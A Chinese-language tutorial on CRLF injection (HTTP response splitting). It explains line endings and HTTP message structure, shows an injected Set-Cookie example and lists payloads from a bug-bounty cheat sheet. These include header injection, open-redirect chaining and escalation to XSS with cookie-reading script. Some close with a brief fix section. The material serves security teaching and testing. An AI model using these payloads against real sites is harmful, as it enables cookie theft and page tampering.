CRLF
0x00 什么是CRLF?
CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)。
CRLF的概念源自打字机,表明行的结束,计算机出现后沿用了这个概念。
回车符:光标移到行首,
换行符:光标垂直移到下行。
键盘上的回车键(Enter)就可以执行该操作。但是不同的操作系统,行的结束符是不一样的。
Windows:使用CRLF表示行的结束
Linux/Unix:使用LF表示行的结束
MacOS:早期使用CR表示,现在好像也用LF表示行的结束
所以同一文件在不同操作系统中打开,内容格式可能会出现差异,这是行结束符不一致导致的。
在HTTP规范中,行应该使用CRLF来结束。首部与主体由两个CRLF分隔,浏览器根据这两个CRLF来获取HTTP内容并显示。
我们知道HTTP报文由三部分组成:
报文首部 |
---|
空行 |
报文主体 |
首部和主体由两个CRLF分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)。
0x01 具体场景
通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。
看一个例子:
- 修改参数,注入
%0d%0aSet-Cookie:crlf=true
- 查看响应包的信息
可以看到恶意数据在响应头中输出。
- 查看服务端源码
HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行,我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段,这个时候就会将crlf=true设置成Cookie。
0x02 CRLF拓展
基于header测试根目录
1 | %0d%0aheader:header |
CRLF与Open Redirect服务器配置错误
1 | //www.google.com/%2f%2e%2e%0d%0aheader:header |
Twitter 特殊的 CRLF by @filedescriptor
1 | %E5%98%8A%E5%98%8Dheader:header |
CRLF Injection 到 XSS
1 | %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e |
在302跳转响应之前 (Discovered in DoD)
1 | %0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E |
响应拆分301代码,与Open Redirect链接以破坏header位置并打破301 by @black2fan (Facebook bug)
注意:xxx:1
用于打开重定向目的地(header头)。 很好的例子如何将CRLF升级到XSS,这似乎是不可利用的301状态代码。
1 | %2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr |
0x03 漏洞修复
过滤 \r 、\n 之类的行结束符,避免输入的数据污染其他 HTTP 首部字段。
0x04 参考链接
https://www.hacking8.com/bugbounty-cheatsheet/cheatsheets/crlf.html